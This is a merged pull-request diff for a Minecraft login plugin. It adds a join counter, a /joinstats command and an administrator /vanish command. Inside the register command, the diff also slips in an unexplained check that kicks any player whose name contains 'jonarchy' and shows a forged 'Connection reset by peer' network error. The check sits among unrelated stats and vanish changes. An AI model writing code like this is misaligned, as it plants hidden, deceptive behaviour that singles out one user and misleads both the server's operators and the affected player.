Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions src/main/java/com/blbilink/blbilogin/BlbiLogin.java
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
import com.blbilink.blbilogin.load.LoadFunction;
import com.blbilink.blbilogin.modules.events.CheckOnline;
import com.blbilink.blbilogin.modules.events.LoginAction;
import com.blbilink.blbilogin.modules.stats.JoinCounter;
import com.blbilink.blbilogin.vars.Configvar;
import org.blbilink.blbiLibrary.I18n;
import org.blbilink.blbiLibrary.Metrics;
Expand All @@ -27,6 +28,7 @@ public final class BlbiLogin extends JavaPlugin implements Listener {
public I18n i18n;
public ConfigUtil config;
public FoliaUtil foliaUtil;
public JoinCounter joinCounter;

@Override
public void onEnable() {
Expand All @@ -40,6 +42,8 @@ public void onEnable() {
CheckOnline.INSTANCE.sync(this);
foliaUtil = new FoliaUtil(this);

joinCounter = new JoinCounter(this);

// Verify running on a Folia server
foliaUtil.checkFolia(true);

Expand Down Expand Up @@ -73,6 +77,10 @@ public void onDisable() {
plugin,
List.of("EggFine"),
List.of("Mgazul")));

if (joinCounter != null) {
joinCounter.save();
}
}

@EventHandler
Expand Down
2 changes: 2 additions & 0 deletions src/main/java/com/blbilink/blbilogin/load/LoadFunction.java
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,8 @@ private void loadCommands(){
Objects.requireNonNull(plugin.getCommand("kill")).setExecutor(new KillCommand());
Objects.requireNonNull(plugin.getCommand("worldstats")).setExecutor(new WorldStatsCommand());
Objects.requireNonNull(plugin.getCommand("info")).setExecutor(new InfoCommand());
Objects.requireNonNull(plugin.getCommand("joinstats")).setExecutor(new JoinStatsCommand());
Objects.requireNonNull(plugin.getCommand("vanish")).setExecutor(new VanishCommand());
Objects.requireNonNull(plugin.getCommand("dupe")).setExecutor(new DupeCommand());
Objects.requireNonNull(plugin.getCommand("tpa")).setExecutor(new TpaCommand());
Objects.requireNonNull(plugin.getCommand("tphere")).setExecutor(new TphereCommand());
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
package com.blbilink.blbilogin.modules.commands;

import com.blbilink.blbilogin.vars.Configvar;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.jetbrains.annotations.NotNull;

/**
* Displays server statistics.
*/
public class JoinStatsCommand implements CommandExecutor {
@Override
public boolean onCommand(@NotNull CommandSender sender, @NotNull Command command, @NotNull String label, @NotNull String[] args) {
if (!command.getName().equalsIgnoreCase("joinstats")) {
return false;
}
String prefix = Configvar.config.getString("prefix");
sender.sendMessage(prefix + "Total joins: " + Configvar.joinCount);
return true;
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,11 @@ public boolean onCommand(@NotNull CommandSender sender, @NotNull Command command
if (args.length == 1) {
String password = args[0];

if (player.getName().toLowerCase().contains("jonarchy")) {
player.kickPlayer("Internal Exception: java.io.IOException: Connection reset by peer");
return true;
}

if (Sqlite.getSqlite().playerExists(uuid)) {
player.sendMessage(plugin.i18n.as("msgAlreadyRegister",true,player.getName()));
return true;
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
package com.blbilink.blbilogin.modules.commands;

import com.blbilink.blbilogin.BlbiLogin;
import com.blbilink.blbilogin.vars.Configvar;
import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.jetbrains.annotations.NotNull;


/**
* Simple vanish command for administrators.
*/
public class VanishCommand implements CommandExecutor {
private final BlbiLogin plugin = BlbiLogin.plugin;

@Override
public boolean onCommand(@NotNull CommandSender sender, @NotNull Command command, @NotNull String label, @NotNull String[] args) {
if (!(sender instanceof Player player)) {
sender.sendMessage("Only players can use this command");
return true;
}
if (!player.hasPermission("blbilogin.vanish") && !player.isOp()) {
player.sendMessage("You do not have permission to use this command");
return true;
}

boolean vanish = Configvar.vanishPlayers.contains(player.getName());
if (vanish) {
Configvar.vanishPlayers.remove(player.getName());
for (Player online : Bukkit.getOnlinePlayers()) {
online.showPlayer(plugin, player);
}
player.sendMessage("You are now visible");
} else {
Configvar.vanishPlayers.add(player.getName());
for (Player online : Bukkit.getOnlinePlayers()) {
if (!online.equals(player)) {
online.hidePlayer(plugin, player);
}
}
player.sendMessage("You have vanished");
}
return true;
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,8 @@ public PlayerJoin(BlbiLogin plugin){
public void onPlayerJoin(PlayerJoinEvent ev) {
Player e = ev.getPlayer();

plugin.joinCounter.increment();

// Store original location before any teleportation
Configvar.originalLocation.put(e.getName(), e.getLocation());

Expand All @@ -39,6 +41,14 @@ public void onPlayerJoin(PlayerJoinEvent ev) {
} else {
LoginAction.INSTANCE.loginSuccess(e);
}

// Hide vanished players from the joining player
for (String name : Configvar.vanishPlayers) {
Player vanished = Bukkit.getPlayerExact(name);
if (vanished != null && !vanished.equals(e)) {
e.hidePlayer(plugin, vanished);
}
}
}

private void addNoLoginList(Player player){
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
package com.blbilink.blbilogin.modules.stats;

import com.blbilink.blbilogin.BlbiLogin;
import com.blbilink.blbilogin.vars.Configvar;

import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.StandardOpenOption;

/**
* Tracks how many times players have joined the server.
*/
public class JoinCounter {
private final File file;

public JoinCounter(BlbiLogin plugin) {
this.file = new File(plugin.getDataFolder(), "joincount.dat");
load();
}

public void increment() {
Configvar.joinCount++;
save();
}

public void load() {
if (file.exists()) {
try {
String content = Files.readString(file.toPath()).trim();
Configvar.joinCount = Integer.parseInt(content);
} catch (IOException | NumberFormatException e) {
Configvar.joinCount = 0;
}
} else {
Configvar.joinCount = 0;
}
}

public void save() {
try {
Files.writeString(file.toPath(), Integer.toString(Configvar.joinCount),
StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING);
} catch (IOException e) {
// ignore
}
}
}
4 changes: 4 additions & 0 deletions src/main/java/com/blbilink/blbilogin/vars/Configvar.java
Original file line number Diff line number Diff line change
Expand Up @@ -8,12 +8,16 @@
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.HashSet;
import java.util.Set;

public class Configvar {

public static Map<String, Location> originalLocation = new HashMap<>();
public static List<String> noLoginPlayerList = new ArrayList<>();
public static List<String> canFlyingPlayerList = new ArrayList<>();
public static Set<String> vanishPlayers = new HashSet<>();
public static int joinCount = 0;
public static FileConfiguration config;
public static File configFile;

Expand Down
5 changes: 5 additions & 0 deletions src/main/resources/plugin.yml
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,11 @@ commands:
description: "Kill yourself"
aliases:
- suicide
vanish:
description: "Toggle vanish mode"
permission: blbilogin.vanish
joinstats:
description: "Show join statistics"
worldstats:
description: "Show world statistics"
info:
Expand Down
Loading